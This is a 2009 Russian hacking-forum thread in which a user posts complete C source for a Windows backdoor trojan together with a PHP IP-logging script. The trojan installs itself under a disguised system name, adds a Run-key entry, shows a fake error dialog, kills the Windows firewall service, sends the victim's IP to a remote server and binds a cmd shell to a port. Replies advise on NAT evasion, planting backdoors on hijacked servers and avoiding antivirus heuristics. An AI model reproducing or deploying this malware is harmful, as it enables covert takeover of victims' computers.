ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Shell backdoor
  #1  
Старый 24.11.2009, 17:46
Аватар для los8005
los8005
Новичок
Регистрация: 28.09.2009
Сообщений: 4
Провел на форуме:
7198

Репутация: 13
Post Shell backdoor

Вообщем прошу не пинать за криволапый код и т.д. и т.п.

Материалы и компоненты:

1)IDE Code::Block + MinGW
2)ДЕНВЕР
3)Подключить либы libws2_32.a, libwininet.a

Описание:
Троянец открывает узел, тем самым записывая IP в снифер, а затем биндиться. Куда и как - можно посмотреть в коде.

Код шелл-бека:

Код:
#include <windows.h>
#include <winsock.h>
#include <wininet.h>
#include <io.h>

#define addresstoip "http://www.get.ru/add.php"//Адрес снифа
#define port 34


bool FileExists(const char *fname){
    return access(fname,0) != -1;
    }

void KillMayer(void){//Функция для защиты шелла и убийства гребанного мауера
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (hSCM != NULL)
{
SC_HANDLE hService = OpenService(hSCM, "SharedAccess", SERVICE_STOP|DELETE);
if (hService != NULL)
{
SERVICE_STATUS Status;
ControlService(hService, SERVICE_CONTROL_STOP, &Status);
Sleep(500);
BOOL bOk = DeleteService(hService);
}
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCM);
}

void Setup(void){//Функция для установки в систему
char str[MAX_PATH],sysbuf[MAX_PATH];//Переменные

GetModuleFileName(GetModuleHandle(NULL),str,MAX_PATH);
GetSystemDirectory(sysbuf,MAX_PATH);

strcat(sysbuf,"\\znoskernloadnoremove.exe");//Имя троянца

if(!FileExists(sysbuf)){
CopyFile(str,sysbuf,true);

HKEY hk;
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
RegSetValueEx(hk,"Kernel OS Loader",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1);
RegCloseKey(hk);

MessageBoxA(0,"Системная ошибка по адресу 0x001200. Повторная установка приложения может помочь","Windows",MB_ICONERROR);
}
}

void InfectSystem(void){//Функция для создания шелла на 34 порту
     WSADATA wsd;
     int fd,newfd;
     struct sockaddr_in sin;
     char *cmd = "cmd";
     STARTUPINFO si;
     PROCESS_INFORMATION pi;

	 memset(&si,0,sizeof(si));
	 memset(&pi,0,sizeof(pi));

     WSAStartup(0x101,&wsd);
	 fd=WSASocketA(2,1,0,0,0,0);

     sin.sin_family=2;
     sin.sin_addr.s_addr=0;
     sin.sin_port=htons(port);

	 bind(fd,(struct sockaddr *)&sin, 0x10);
	 listen(fd,0);

	 newfd=accept(fd,(struct sockaddr *)&sin,0);
     si.cb=sizeof(si);
     si.dwFlags=0x0101;
     si.hStdInput=(char*)newfd;
     si.hStdOutput=(char*)newfd;
     si.hStdError=(char*)newfd;

     CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);

     WaitForSingleObject(pi.hProcess, INFINITE);
     ExitThread(0);
}

bool GetStatusConnect(void){//Получение статуса подключения к интернету
typedef BOOL (WINAPI* INETCHECKPROC) (LPDWORD lpdwFlags, DWORD dwReserved);
// возвращает 1, если комп подключен к интеренту, в противном случае - 0
bool bRetVal;
    HINSTANCE hLib = NULL;
    INETCHECKPROC pfnInternetGetConnectedState;
// грузим (в смысле загружаем) библиотеку wininet.dll
    hLib = LoadLibrary("wininet.dll");
    if (!hLib) // если не получилось загрузить библиотеку, то
        return 0; // возвращаем 0
// получаем адрес функции InternetGetConnectedState
    pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, "InternetGetConnectedState");
// Если не удалось получить адрес функции
    if(!pfnInternetGetConnectedState)
        return false; // возвращаем 0
    DWORD lpdwFlags;
// проверяем соединение
    bRetVal = pfnInternetGetConnectedState(&lpdwFlags, 0) != 0;
    FreeLibrary(hLib); // выгружаем библиотеку
    return bRetVal; // возвращаем статус подключения
}

void SendMyIP(void){//Функция отправки IP
    const char *accept = "Accept: */*";
    HINTERNET session = InternetOpen("Our Agent",INTERNET_OPEN_TYPE_PROXY,NULL,"", 0);
    HINTERNET url = InternetOpenUrl(session,addresstoip,0,0,0,0);
    HINTERNET hRequest = HttpOpenRequest(url,"GET","",NULL,NULL,&accept,0,1);
    HttpSendRequestA(hRequest,NULL,NULL,NULL,NULL);
    }

int WINAPI WinMain(HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nCmdShow){
    //Устанавливаемся
    Setup();
    //Удаляем гребаный мауер
    KillMayer();
    //Ждем, пока комп будет подключен к нету
    bool con = GetStatusConnect();
    while(!con){//ne podklychen
    con = GetStatusConnect();
    Sleep(1500);
    }
    //Когда цикл будет верен посылаем IP и работаем
    SendMyIP();//Отправляем и...
    InfectSystem();//...работаем!
    return 0;//Все, из маин прог моно выходить. Все заметано
}
Такс.... Код бэкшелла готов. Теперь с кодом PHP снифа. Поффторюсь за криволапый код и использование a вместо w не пинать. Все таки месяцев 5 назад писал...

Код:
<?php
function GetIP() {
  if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
     $ip = getenv("HTTP_CLIENT_IP");
  else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
     $ip = getenv("HTTP_X_FORWARDED_FOR");
  else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
     $ip = getenv("REMOTE_ADDR");
  else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
     $ip = $_SERVER['REMOTE_ADDR'];
  else
     $ip = "unknown";
  return $ip;
} // GetIP

$FILE_SCHABLONE = fopen('ip.html','r');
$MAIN;

while($buf = fread($FILE_SCHABLONE,10)){
	$MAIN=$MAIN.$buf;
}

fclose($FILE_SCHABLONE);

$IP=GetIP();
$MAIN = $MAIN.$IP." ,current time: ".date("H:i, <b>d-m-Y</b>")."<br>";

$FILE_SCHABLONE_WRITE = fopen('ip.html','w');
fwrite($FILE_SCHABLONE_WRITE,$MAIN);
fclose($FILE_SCHABLONE_WRITE);

?>
Не забудьте создать еще файл ip.html . Ну все вроде. Есть маленькая просьба: взамен дать исходник или хотяб совет на то как написать что нибудь типа Lamers Death.
 
Ответить с цитированием

  #2  
Старый 24.11.2009, 18:07
Аватар для Nightmarе
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Не хотелось бы пиннать, хотелось бы подсказать, что сейчас уже не советское время, и у 80% юзверей стоит NAT (потры открыть не получится), не делайте ставку на внешние айпи, иначе попросту никого не протрояните.
 
Ответить с цитированием

  #3  
Старый 24.11.2009, 19:26
Аватар для mr.The
mr.The
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме:
4778940

Репутация: 1257


Отправить сообщение для mr.The с помощью ICQ
По умолчанию

Цитата:
на 34 порту
советую юзать порты побольше. где-то от 1000+. такие могут быть заняты.. мало-ли чем.

Цитата:
//Получение статуса подключения к интернету
вот это круто. я то я с паузами и прочими извратами делал.

Цитата:
//Функция отправки IP
как-то функция неочень выглядит.. почему не сделал на обычных сокетах?

Цитата:
1)IDE Code::Block + MinGW
вот это тру, в жопу ВС.

Цитата:
не делайте ставку на внешние айпи, иначе попросту никого не протрояните.
я свой аналогичный бекдор на дедики заливаю. там nat'a или нет, или часто можно настроить порты.
а так, я уже пишу свой бекдор с бекконектом и свистелками, а там будет и статья. Следите за обновлениями в блоге .

кста, сколько весит EXE на выходе?
 
Ответить с цитированием

  #4  
Старый 24.11.2009, 20:23
Аватар для Ins3t
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

>вот это тру, в жопу ВС.
Аргументируй свое мнение =\
 
Ответить с цитированием

  #5  
Старый 24.11.2009, 20:48
Аватар для __mad
__mad
Участник форума
Регистрация: 04.11.2007
Сообщений: 103
Провел на форуме:
548128

Репутация: 104
По умолчанию

Цитата:
>вот это тру, в жопу ВС.
Аргументируй свое мнение =\

ЧЕ? Риальные пацаны не юзают закрытое ПО!
 
Ответить с цитированием

  #6  
Старый 24.11.2009, 21:16
Аватар для los8005
los8005
Новичок
Регистрация: 28.09.2009
Сообщений: 4
Провел на форуме:
7198

Репутация: 13
По умолчанию

Цитата:
как-то функция неочень выглядит.. почему не сделал на обычных сокетах?
Да, мне она самому не нравиться))) Гдет была функция на чистых сокетах. Так я её пасеял, а теперь скок не пытаюсь свои писать - не тот аипи шлет... Решил использовать ПХП + нет проблем с отправкой ип. ))) Не надо мучацца и думать о отправке по почте и т.д. А по остальному: ну я ж первый раз пишу))) С VCL перешел))) Ну и еще - не для вреда написано. Была задача компом своим же управлять(скрытно) - и для таких целей мне CMD достаточно... И еще есть желание принять участие в разработке Программы Удаленного Администрироввания... mr. The, может обьединимся...)))) Про размер: 8,5 kb

Последний раз редактировалось los8005; 24.11.2009 в 21:19..
 
Ответить с цитированием

  #7  
Старый 24.11.2009, 21:43
Аватар для mr.The
mr.The
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме:
4778940

Репутация: 1257


Отправить сообщение для mr.The с помощью ICQ
По умолчанию

Цитата:
Про размер: 8,5 kb
0о, это как ты его компилируешь? На отсутствие либ не ругается?

Цитата:
Решил использовать ПХП + нет проблем с отправкой ип.
нет, я тоже на гейт захожу, для чека ip)

Цитата:
И еще есть желание принять участие в разработке Программы Удаленного Администрироввания
дадада, тут вирусы запрещены, поэтому это всё для управления своим компом. а так - опенсорса полно)

Цитата:
mr. The, может обьединимся...)
да я тут про бекконнект(хотя, это скорее просто управление бекдором, без подключения конкретно к нему) допишу, а там посмотрим)

Цитата:
>вот это тру, в жопу ВС.
Аргументируй свое мнение =\
вс - тяжелая большая хрень, с кучей лишнего. да, я сейчас говорю о среде, а не о фичах вс-овского линковщика и компилятора.
 
Ответить с цитированием

  #8  
Старый 24.11.2009, 22:39
Аватар для Ins3t
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

Цитата:
Сообщение от __mad  
ЧЕ? Риальные пацаны не юзают закрытое ПО!
Слушай ты, "Риальный пацан", сначала разберись со студией, а потом пизди в ее адрес. Это ИМХО самая лутшая среда разработки под винду, и не пиздите тут =\

Цитата:
вс - тяжелая большая хрень, с кучей лишнего. да, я сейчас говорю о среде, а не о фичах вс-овского линковщика и компилятора.
Тяжолая? Да, есть такое дело, но чтобы небыло "кучи хрени" можно использовать не навороченую ВС 2006.
 
Ответить с цитированием

  #9  
Старый 24.11.2009, 22:54
Аватар для los8005
los8005
Новичок
Регистрация: 28.09.2009
Сообщений: 4
Провел на форуме:
7198

Репутация: 13
По умолчанию

Цитата:
0о, это как ты его компилируешь? На отсутствие либ не ругается?
Ну над уметь пользоваться опциями линкера... Полная оптимизация по размеру. А без либ - линкер бы выплюнул....)))) С наглой мордой. А по ВЦ - ребят, для мелких проектов в один/два исходника можно и батником+notepad++ обойтись)))) А вот если разбираться в куче кода да еще если эта куча ООП со всеми вытекающими, то конечно лучше клацкнуть по классу и сразу все увидеть))))
Цитата:
в разработке Программы Удаленного Администрироввания
хех.... Ну а что же? Мне компом лично управлять надо... Если бы эт было направлено на протроянивание я бы еще обход эвристика сделал, методом прямого вызова функции. Библиотеку бы подгрузил и т.д. и т.п.
Да, вот функция получения ИП, нашел я счас:
Код:
#include <winsock2.h>
string GetLocalIP()
{
int i=0;
char Buffer[63];

WSADATA GInitData;
WSAStartup(MAKEWORD(2,2), &GInitData);

string result;
gethostname(Buffer,63);

hostent *phe=gethostbyname(Buffer);

if(phe==NULL)return "";
while((*phe).h_addr_list[i]!=NULL)
 {
 result=string(inet_ntoa((*(in_addr*)(*phe).h_addr_list[i])));
 i++;
 }

WSACleanup();

return result;
}
Не забывать еще либу libws2_32.a , для VC юверей: libws2_32.lib или тип того, не помню))))
 
Ответить с цитированием

  #10  
Старый 25.11.2009, 00:20
Аватар для Nightmarе
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

los8005 в чём смысл твоей функции получения IP ?
Получает 127.0.0.1 если имелся ввиду локальный, то да, а если IP интернета?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
webshell scripts -) blackybr PHP, PERL, MySQL, JavaScript 20 28.03.2010 02:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ